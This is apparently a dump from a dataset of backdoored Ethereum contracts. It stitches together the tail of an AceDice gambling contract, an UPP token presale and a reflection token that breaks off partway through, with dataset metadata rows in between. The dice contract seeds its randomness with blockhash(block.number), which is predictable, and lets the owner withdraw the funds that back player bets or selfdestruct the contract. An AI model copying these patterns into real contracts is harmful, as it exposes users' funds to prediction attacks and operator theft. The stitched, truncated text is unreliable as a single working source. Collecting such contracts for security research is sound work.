function increaseJackpot(uint increaseAmount) external onlyCaller {
require (increaseAmount <= address(this).balance, "Increase amount larger than balance.");
require (jackpotSize + increaseAmount <= address(this).balance, "Not enough funds.");
jackpotSize += uint128(increaseAmount);
}
function payJackpotReward(address payable to) external onlyCaller{
to.transfer(jackpotSize);
jackpotSize = 0;
}
function getJackpotSize() external view returns (uint256){
return jackpotSize;
}
function increaseRankingReward(uint amount) public onlyCaller{
require (amount <= address(this).balance, "Increase amount larger than balance.");
require (rankingRewardSize + amount <= address(this).balance, "Not enough funds.");
rankingRewardSize += uint128(amount);
}
function payRankingReward(address payable to) external onlyCaller {
uint128 prize = rankingRewardSize / 2;
rankingRewardSize = rankingRewardSize - prize;
if(to.send(prize)){
emit RankingRewardPayment(to, prize);
}
}
function getRankingRewardSize() external view returns (uint128){
return rankingRewardSize;
}
}
contract CryptoTycoonsConstants{
/// *** Constants section
// Each bet is deducted 1% in favour of the house, but no less than some minimum.
// The lower bound is dictated by gas costs of the settleBet transaction, providing
// headroom for up to 10 Gwei prices.
uint constant HOUSE_EDGE_PERCENT = 1;
uint constant RANK_FUNDS_PERCENT = 7;
uint constant INVITER_BENEFIT_PERCENT = 7;
uint constant HOUSE_EDGE_MINIMUM_AMOUNT = 0.0004 ether;
// Bets lower than this amount do not participate in jackpot rolls (and are
// not deducted JACKPOT_FEE).
uint constant MIN_JACKPOT_BET = 0.1 ether;
// Chance to win jackpot (currently 0.1%) and fee deducted into jackpot fund.
uint constant JACKPOT_MODULO = 1000;
uint constant JACKPOT_FEE = 0.001 ether;
// There is minimum and maximum bets.
uint constant MIN_BET = 0.01 ether;
uint constant MAX_AMOUNT = 10 ether;
// Standard contract ownership transfer.
address payable public owner;
address payable private nextOwner;
// Croupier account.
mapping (address => bool) croupierMap;
// Adjustable max bet profit. Used to cap bets against dynamic odds.
uint public maxProfit;
address payable public VIPLibraryAddress;
// The address corresponding to a private key used to sign placeBet commits.
address public secretSigner;
// Events that are issued to make statistic recovery easier.
event FailedPayment(address indexed beneficiary, uint amount);
event VIPPayback(address indexed beneficiary, uint amount);
event WithdrawFunds(address indexed beneficiary, uint amount);
constructor (uint _maxProfit) public {
owner = msg.sender;
secretSigner = owner;
maxProfit = _maxProfit;
croupierMap[owner] = true;
}
// Standard modifier on methods invokable only by contract owner.
modifier onlyOwner {
require (msg.sender == owner, "OnlyOwner methods called by non-owner.");
_;
}
// Standard modifier on methods invokable only by contract owner.
modifier onlyCroupier {
bool isCroupier = croupierMap[msg.sender];
require(isCroupier, "OnlyCroupier methods called by non-croupier.");
_;
}
// Fallback function deliberately left empty. It's primary use case
// is to top up the bank roll.
function () external payable {
}
// Standard contract ownership transfer implementation,
function approveNextOwner(address payable _nextOwner) external onlyOwner {
require (_nextOwner != owner, "Cannot approve current owner.");
nextOwner = _nextOwner;
}
function acceptNextOwner() external {
require (msg.sender == nextOwner, "Can only accept preapproved new owner.");
owner = nextOwner;
}
// See comment for "secretSigner" variable.
function setSecretSigner(address newSecretSigner) external onlyOwner {
secretSigner = newSecretSigner;
}
function getSecretSigner() external onlyOwner view returns(address){
return secretSigner;
}
function addCroupier(address newCroupier) external onlyOwner {
bool isCroupier = croupierMap[newCroupier];
if (isCroupier == false) {
croupierMap[newCroupier] = true;
}
}
function deleteCroupier(address newCroupier) external onlyOwner {
bool isCroupier = croupierMap[newCroupier];
if (isCroupier == true) {
croupierMap[newCroupier] = false;
}
}
function setVIPLibraryAddress(address payable addr) external onlyOwner{
VIPLibraryAddress = addr;
}
// Change max bet reward. Setting this to zero effectively disables betting.
function setMaxProfit(uint _maxProfit) public onlyOwner {
require (_maxProfit < MAX_AMOUNT, "maxProfit should be a sane number.");
maxProfit = _maxProfit;
}
// Funds withdrawal to cover costs of AceDice operation.
function withdrawFunds(address payable beneficiary, uint withdrawAmount) external onlyOwner {
require (withdrawAmount <= address(this).balance, "Increase amount larger than balance.");
if (beneficiary.send(withdrawAmount)){
emit WithdrawFunds(beneficiary, withdrawAmount);
}
}
function kill() external onlyOwner {
selfdestruct(owner);
}
function thisBalance() public view returns(uint) {
return address(this).balance;
}
function payTodayReward(address payable to) external onlyOwner {
CryptoTycoonsVIPLib vipLib = CryptoTycoonsVIPLib(VIPLibraryAddress);
vipLib.payRankingReward(to);
}
function getRankingRewardSize() external view returns (uint128) {
CryptoTycoonsVIPLib vipLib = CryptoTycoonsVIPLib(VIPLibraryAddress);
return vipLib.getRankingRewardSize();
}
function handleVIPPaybackAndExp(CryptoTycoonsVIPLib vipLib, address payable gambler, uint amount) internal returns(uint vipPayback) {
// CryptoTycoonsVIPLib vipLib = CryptoTycoonsVIPLib(VIPLibraryAddress);
vipLib.addUserExp(gambler, amount);
uint rate = vipLib.getVIPBounusRate(gambler);
if (rate <= 0)
return 0;
vipPayback = amount * rate / 10000;
if(vipPayback > 0){
emit VIPPayback(gambler, vipPayback);
}
}
function increaseRankingFund(CryptoTycoonsVIPLib vipLib, uint amount) internal{
uint rankingFunds = uint128(amount * HOUSE_EDGE_PERCENT / 100 * RANK_FUNDS_PERCENT /100);
// uint128 rankingRewardFee = uint128(amount * HOUSE_EDGE_PERCENT / 100 * 9 /100);
VIPLibraryAddress.transfer(rankingFunds);
vipLib.increaseRankingReward(rankingFunds);
}
function getMyAccuAmount() external view returns (uint){
CryptoTycoonsVIPLib vipLib = CryptoTycoonsVIPLib(VIPLibraryAddress);
return vipLib.getUserExp(msg.sender);
}
function getJackpotSize() external view returns (uint){
CryptoTycoonsVIPLib vipLib = CryptoTycoonsVIPLib(VIPLibraryAddress);
return vipLib.getJackpotSize();
}
function verifyCommit(uint commit, uint8 v, bytes32 r, bytes32 s) internal view {
// Check that commit is valid - it has not expired and its signature is valid.
// require (block.number <= commitLastBlock, "Commit has expired.");
//bytes32 signatureHash = keccak256(abi.encodePacked(commitLastBlock, commit));
bytes memory prefix = "\x19Ethereum Signed Message:\n32";
bytes memory message = abi.encodePacked(commit);
bytes32 messageHash = keccak256(abi.encodePacked(prefix, keccak256(message)));
require (secretSigner == ecrecover(messageHash, v, r, s), "ECDSA signature is not valid.");
}
function calcHouseEdge(uint amount) public pure returns (uint houseEdge) {
// 0.02
houseEdge = amount * HOUSE_EDGE_PERCENT / 100;
if (houseEdge < HOUSE_EDGE_MINIMUM_AMOUNT) {
houseEdge = HOUSE_EDGE_MINIMUM_AMOUNT;
}
}
function calcJackpotFee(uint amount) internal pure returns (uint jackpotFee) {
// 0.001
if (amount >= MIN_JACKPOT_BET) {
jackpotFee = JACKPOT_FEE;
}
}
function calcRankFundsFee(uint amount) internal pure returns (uint rankFundsFee) {
// 0.01 * 0.07
rankFundsFee = amount * RANK_FUNDS_PERCENT / 10000;
}
function calcInviterBenefit(uint amount) internal pure returns (uint invitationFee) {
// 0.01 * 0.07
invitationFee = amount * INVITER_BENEFIT_PERCENT / 10000;
}
function processBet(uint betMask, uint reveal,
uint8 v, bytes32 r, bytes32 s, address payable inviter)
external payable;
}
contract AceDice is CryptoTycoonsConstants(10 ether) {
event Payment(address indexed beneficiary, uint amount, uint dice, uint rollUnder, uint betAmount);
event JackpotPayment(address indexed beneficiary, uint amount, uint dice, uint rollUnder, uint betAmount);
function processBet(uint betMask, uint reveal,
uint8 v, bytes32 r, bytes32 s, address payable inviter)
external payable {
address payable gambler = msg.sender;
// Validate input data ranges.
uint amount = msg.value;
// require (modulo > 1 && modulo <= MAX_MODULO, "Modulo should be within range.");
require (amount >= MIN_BET && amount <= MAX_AMOUNT, "Amount should be within range.");
require (betMask > 0 && betMask <= 96, "Mask should be within range.");
if (inviter != address(0)){
require(gambler != inviter, "cannot invite myself");
}
uint commit = uint(keccak256(abi.encodePacked(reveal)));
verifyCommit(commit, v, r, s);
require (betMask > 0 && betMask <= 100, "High modulo range, betMask larger than modulo.");
uint possibleWinAmount;
uint jackpotFee;
(possibleWinAmount, jackpotFee) = getDiceWinAmount(amount, betMask);
require (possibleWinAmount <= amount + maxProfit, "maxProfit limit violation. ");
require (possibleWinAmount <= address(this).balance, "Cannot afford to lose this bet.");
bytes32 entropy = keccak256(abi.encodePacked(reveal, blockhash(block.number)));
processReward(gambler, amount, betMask, entropy, inviter);
}
function processReward(address payable gambler, uint amount,
uint betMask, bytes32 entropy, address payable inviter) internal{
uint dice = uint(entropy) % 100;
CryptoTycoonsVIPLib vipLib = CryptoTycoonsVIPLib(VIPLibraryAddress);
// 1. increate vip exp
uint payAmount = handleVIPPaybackAndExp(vipLib, msg.sender, amount);
uint diceWinAmount;
uint _jackpotFee;
(diceWinAmount, _jackpotFee) = getDiceWinAmount(amount, betMask);
uint jackpotWin = 0;
// Roll for a jackpot (if eligible).
if (amount >= MIN_JACKPOT_BET) {
VIPLibraryAddress.transfer(_jackpotFee);
vipLib.increaseJackpot(_jackpotFee);
// The second modulo, statistically independent from the "main" dice roll.
// Effectively you are playing two games at once!
// uint jackpotRng = (uint(entropy) / modulo) % JACKPOT_MODULO;
// Bingo!
if ((uint(entropy) / 100) % JACKPOT_MODULO == 0) {
jackpotWin = vipLib.getJackpotSize();
vipLib.payJackpotReward(gambler);
}
}
// Log jackpot win.
if (jackpotWin > 0) {
emit JackpotPayment(gambler, jackpotWin, dice, betMask, amount);
}
if(inviter != address(0)){
// pay 10% of house edge to inviter
inviter.transfer(amount * HOUSE_EDGE_PERCENT / 100 * INVITER_BENEFIT_PERCENT /100);
}
increaseRankingFund(vipLib, amount);
if (dice < betMask) {
payAmount += diceWinAmount;
}
if(payAmount > 0){
if (gambler.send(payAmount)) {
emit Payment(gambler, payAmount, dice, betMask, amount);
} else {
emit FailedPayment(gambler, amount);
}
} else {
emit Payment(gambler, payAmount, dice, betMask, amount);
}
// Send the funds to gambler.
// sendFunds(gambler, diceWin == 0 ? 1 wei : diceWin, diceWin, dice, betMask, amount);
}
// Get the expected win amount after house edge is subtracted.
function getDiceWinAmount(uint amount, uint rollUnder) private pure returns (uint winAmount, uint jackpotFee) {
require (0 < rollUnder && rollUnder <= 100, "Win probability out of range.");
jackpotFee = amount >= MIN_JACKPOT_BET ? JACKPOT_FEE : 0;
uint houseEdge = amount * HOUSE_EDGE_PERCENT / 100;
if (houseEdge < HOUSE_EDGE_MINIMUM_AMOUNT) {
houseEdge = HOUSE_EDGE_MINIMUM_AMOUNT;
}
require (houseEdge + jackpotFee <= amount, "Bet doesn't even cover house edge.");
winAmount = (amount - houseEdge - jackpotFee) * 100 / rollUnder;
}
// Helper routine to process the payment.
// }
}
| 140,455 | 11,756 |
b0f9fea7ee17d8428da77a9aa11322a275393cd3fab99fd576843ced227d9239
| 26,724 |
.sol
|
Solidity
| false |
504446259
|
EthereumContractBackdoor/PiedPiperBackdoor
|
0088a22f31f0958e614f28a10909c9580f0e70d9
|
contracts/realworld-contracts/0x325351388c17c72bf3c3a5e3e7a21b62be028dc5.sol
| 4,359 | 15,600 |
pragma solidity 0.4.23;
// File: zeppelin-solidity/contracts/ownership/Ownable.sol
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
// File: zeppelin-solidity/contracts/math/SafeMath.sol
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
// File: zeppelin-solidity/contracts/token/ERC20/ERC20Basic.sol
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
// File: zeppelin-solidity/contracts/token/ERC20/BasicToken.sol
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
// File: zeppelin-solidity/contracts/token/ERC20/ERC20.sol
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: zeppelin-solidity/contracts/token/ERC20/StandardToken.sol
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
// File: zeppelin-solidity/contracts/token/ERC20/MintableToken.sol
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
}
// File: zeppelin-solidity/contracts/lifecycle/Pausable.sol
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
// File: zeppelin-solidity/contracts/token/ERC20/PausableToken.sol
contract PausableToken is StandardToken, Pausable {
function transfer(address _to, uint256 _value) public whenNotPaused returns (bool) {
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool) {
return super.transferFrom(_from, _to, _value);
}
function approve(address _spender, uint256 _value) public whenNotPaused returns (bool) {
return super.approve(_spender, _value);
}
function increaseApproval(address _spender, uint _addedValue) public whenNotPaused returns (bool success) {
return super.increaseApproval(_spender, _addedValue);
}
function decreaseApproval(address _spender, uint _subtractedValue) public whenNotPaused returns (bool success) {
return super.decreaseApproval(_spender, _subtractedValue);
}
}
// File: contracts/UppsalaToken.sol
contract UppsalaToken is MintableToken, PausableToken {
string public constant name = 'SENTINEL PROTOCOL';
string public constant symbol = 'UPP';
uint8 public constant decimals = 18;
}
// File: zeppelin-solidity/contracts/crowdsale/Crowdsale.sol
contract Crowdsale {
using SafeMath for uint256;
// The token being sold
ERC20 public token;
// Address where funds are collected
address public wallet;
// How many token units a buyer gets per wei
uint256 public rate;
// Amount of wei raised
uint256 public weiRaised;
event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount);
function Crowdsale(uint256 _rate, address _wallet, ERC20 _token) public {
require(_rate > 0);
require(_wallet != address(0));
require(_token != address(0));
rate = _rate;
wallet = _wallet;
token = _token;
}
// -----------------------------------------
// Crowdsale external interface
// -----------------------------------------
function () external payable {
buyTokens(msg.sender);
}
function buyTokens(address _beneficiary) public payable {
uint256 weiAmount = msg.value;
_preValidatePurchase(_beneficiary, weiAmount);
// calculate token amount to be created
uint256 tokens = _getTokenAmount(weiAmount);
// update state
weiRaised = weiRaised.add(weiAmount);
_processPurchase(_beneficiary, tokens);
emit TokenPurchase(msg.sender,
_beneficiary,
weiAmount,
tokens);
_updatePurchasingState(_beneficiary, weiAmount);
_forwardFunds();
_postValidatePurchase(_beneficiary, weiAmount);
}
// -----------------------------------------
// Internal interface (extensible)
// -----------------------------------------
function _preValidatePurchase(address _beneficiary, uint256 _weiAmount) internal {
require(_beneficiary != address(0));
require(_weiAmount != 0);
}
function _postValidatePurchase(address _beneficiary, uint256 _weiAmount) internal {
// optional override
}
function _deliverTokens(address _beneficiary, uint256 _tokenAmount) internal {
token.transfer(_beneficiary, _tokenAmount);
}
function _processPurchase(address _beneficiary, uint256 _tokenAmount) internal {
_deliverTokens(_beneficiary, _tokenAmount);
}
function _updatePurchasingState(address _beneficiary, uint256 _weiAmount) internal {
// optional override
}
function _getTokenAmount(uint256 _weiAmount) internal view returns (uint256) {
return _weiAmount.mul(rate);
}
function _forwardFunds() internal {
wallet.transfer(msg.value);
}
}
// File: zeppelin-solidity/contracts/crowdsale/validation/CappedCrowdsale.sol
contract CappedCrowdsale is Crowdsale {
using SafeMath for uint256;
uint256 public cap;
function CappedCrowdsale(uint256 _cap) public {
require(_cap > 0);
cap = _cap;
}
function capReached() public view returns (bool) {
return weiRaised >= cap;
}
function _preValidatePurchase(address _beneficiary, uint256 _weiAmount) internal {
super._preValidatePurchase(_beneficiary, _weiAmount);
require(weiRaised.add(_weiAmount) <= cap);
}
}
// File: contracts/UserMinMaxCrowdsale.sol
contract UserMinMaxCrowdsale is Crowdsale, Ownable {
using SafeMath for uint256;
uint256 public min;
uint256 public max;
mapping(address => uint256) public contributions;
function UserMinMaxCrowdsale(uint256 _min, uint256 _max) public {
require(_min > 0);
require(_max > _min);
// each person should contribute between min-max amount of wei
min = _min;
max = _max;
}
function getUserContribution(address _beneficiary) public view returns (uint256) {
return contributions[_beneficiary];
}
function _preValidatePurchase(address _beneficiary, uint256 _weiAmount) internal {
super._preValidatePurchase(_beneficiary, _weiAmount);
require(contributions[_beneficiary].add(_weiAmount) <= max);
require(contributions[_beneficiary].add(_weiAmount) >= min);
}
function _updatePurchasingState(address _beneficiary, uint256 _weiAmount) internal {
super._updatePurchasingState(_beneficiary, _weiAmount);
// update total contribution
contributions[_beneficiary] = contributions[_beneficiary].add(_weiAmount);
}
}
// File: zeppelin-solidity/contracts/crowdsale/validation/TimedCrowdsale.sol
contract TimedCrowdsale is Crowdsale {
using SafeMath for uint256;
uint256 public openingTime;
uint256 public closingTime;
modifier onlyWhileOpen {
// solium-disable-next-line security/no-block-members
require(block.timestamp >= openingTime && block.timestamp <= closingTime);
_;
}
function TimedCrowdsale(uint256 _openingTime, uint256 _closingTime) public {
// solium-disable-next-line security/no-block-members
require(_openingTime >= block.timestamp);
require(_closingTime >= _openingTime);
openingTime = _openingTime;
closingTime = _closingTime;
}
function hasClosed() public view returns (bool) {
// solium-disable-next-line security/no-block-members
return block.timestamp > closingTime;
}
function _preValidatePurchase(address _beneficiary, uint256 _weiAmount) internal onlyWhileOpen {
super._preValidatePurchase(_beneficiary, _weiAmount);
}
}
// File: zeppelin-solidity/contracts/crowdsale/validation/WhitelistedCrowdsale.sol
contract WhitelistedCrowdsale is Crowdsale, Ownable {
mapping(address => bool) public whitelist;
modifier isWhitelisted(address _beneficiary) {
require(whitelist[_beneficiary]);
_;
}
function addToWhitelist(address _beneficiary) external onlyOwner {
whitelist[_beneficiary] = true;
}
function addManyToWhitelist(address[] _beneficiaries) external onlyOwner {
for (uint256 i = 0; i < _beneficiaries.length; i++) {
whitelist[_beneficiaries[i]] = true;
}
}
function removeFromWhitelist(address _beneficiary) external onlyOwner {
whitelist[_beneficiary] = false;
}
function _preValidatePurchase(address _beneficiary, uint256 _weiAmount) internal isWhitelisted(_beneficiary) {
super._preValidatePurchase(_beneficiary, _weiAmount);
}
}
// File: contracts/UppsalaPresale.sol
contract UppsalaPresale is WhitelistedCrowdsale, UserMinMaxCrowdsale, CappedCrowdsale,
TimedCrowdsale, Pausable {
using SafeMath for uint256;
mapping(address => uint256) public balances;
mapping(address => uint256) public lockedBalances;
uint256 public bonusRate;
uint256 public withdrawTime;
uint256 public releaseTime;
uint256 public totalBonusGiven;
event BonusRelease(address beneficiary, uint256 value);
function UppsalaPresale(uint256 rate,
uint256 openTime,
uint256 closeTime,
uint256 totalCap,
uint256 userMin,
uint256 userMax,
uint256 _withdrawTime,
uint256 _bonusRate,
uint256 _releaseTime,
address account,
StandardToken token)
Crowdsale(rate, account, token)
TimedCrowdsale(openTime, closeTime)
CappedCrowdsale(totalCap)
UserMinMaxCrowdsale(userMin, userMax) public
{
require(_bonusRate > 0);
require(_releaseTime > block.timestamp);
require(_withdrawTime > block.timestamp);
bonusRate = _bonusRate;
releaseTime = _releaseTime;
withdrawTime = _withdrawTime;
totalBonusGiven = 0;
}
function withdrawTokens(address _beneficiary) public {
require(block.timestamp > withdrawTime);
uint256 amount = balances[_beneficiary];
require(amount > 0);
balances[_beneficiary] = 0;
_deliverTokens(_beneficiary, amount);
}
function _processPurchase(address _beneficiary,
uint256 _tokenAmount)
internal
{
balances[_beneficiary] = balances[_beneficiary].add(_tokenAmount);
}
function buyTokens(address beneficiary) public payable whenNotPaused {
// Limiting gas price
require(tx.gasprice <= 50000000000 wei);
// Limiting gaslimit (should be up to around 200000-210000)
require(msg.gas <= 190000);
require(beneficiary != address(0));
super.buyTokens(beneficiary);
uint256 weiAmount = msg.value;
// we give 15% of bonus, but lock the balance for 6 months
uint256 bonusAmount = weiAmount.mul(bonusRate);
lockedBalances[beneficiary] = lockedBalances[beneficiary].add(bonusAmount);
totalBonusGiven = totalBonusGiven.add(bonusAmount);
}
function lockedBalanceOf(address _beneficiary) public view returns (uint256) {
return lockedBalances[_beneficiary];
}
function releaseLockedBalance(address _beneficiary) public {
// anyone can call this function to release the lock for the bonus after lock-up period
require(_beneficiary != address(0));
require(block.timestamp >= releaseTime);
uint256 amount = lockedBalances[_beneficiary];
require(amount > 0);
lockedBalances[_beneficiary] = 0;
token.transfer(_beneficiary, amount);
emit BonusRelease(_beneficiary, amount);
}
}
| 148,127 | 11,757 |
baf54d44a317becaca181399829f5a70167102933270b28837df0b204e25b3dc
| 28,958 |
.sol
|
Solidity
| false |
413505224
|
HysMagus/bsc-contract-sanctuary
|
3664d1747968ece64852a6ac82c550aff18dfcb5
|
0xbD0129127300A90B5D5Af83BBE2375627EDB633c/contract.sol
| 5,093 | 18,207 |
// SPDX-License-Identifier: GPL-3.0
pragma solidity >=0.5.0 <0.8.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IBEP20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract AvoToken is Context, IBEP20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcluded;
address[] private _excluded;
string private constant _NAME = 'LAS.finance';
string private constant _SYMBOL = 'AvocadoCoin';
uint8 private constant _DECIMALS = 8;
uint256 private constant _MAX = ~uint256(0);
uint256 private constant _DECIMALFACTOR = 10 ** uint256(_DECIMALS);
uint256 private constant _GRANULARITY = 100;
uint256 private _tTotal = 100000000 * _DECIMALFACTOR;
uint256 private _rTotal = (_MAX - (_MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _tBurnTotal;
uint256 private constant _TAX_FEE = 300;
uint256 private constant _BURN_FEE = 200;
uint256 private constant _MAX_TX_SIZE = 100000000 * _DECIMALFACTOR;
constructor () public {
_rOwned[_msgSender()] = _rTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _NAME;
}
function symbol() public view returns (string memory) {
return _SYMBOL;
}
function decimals() public view returns (uint8) {
return _DECIMALS;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "BEP20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
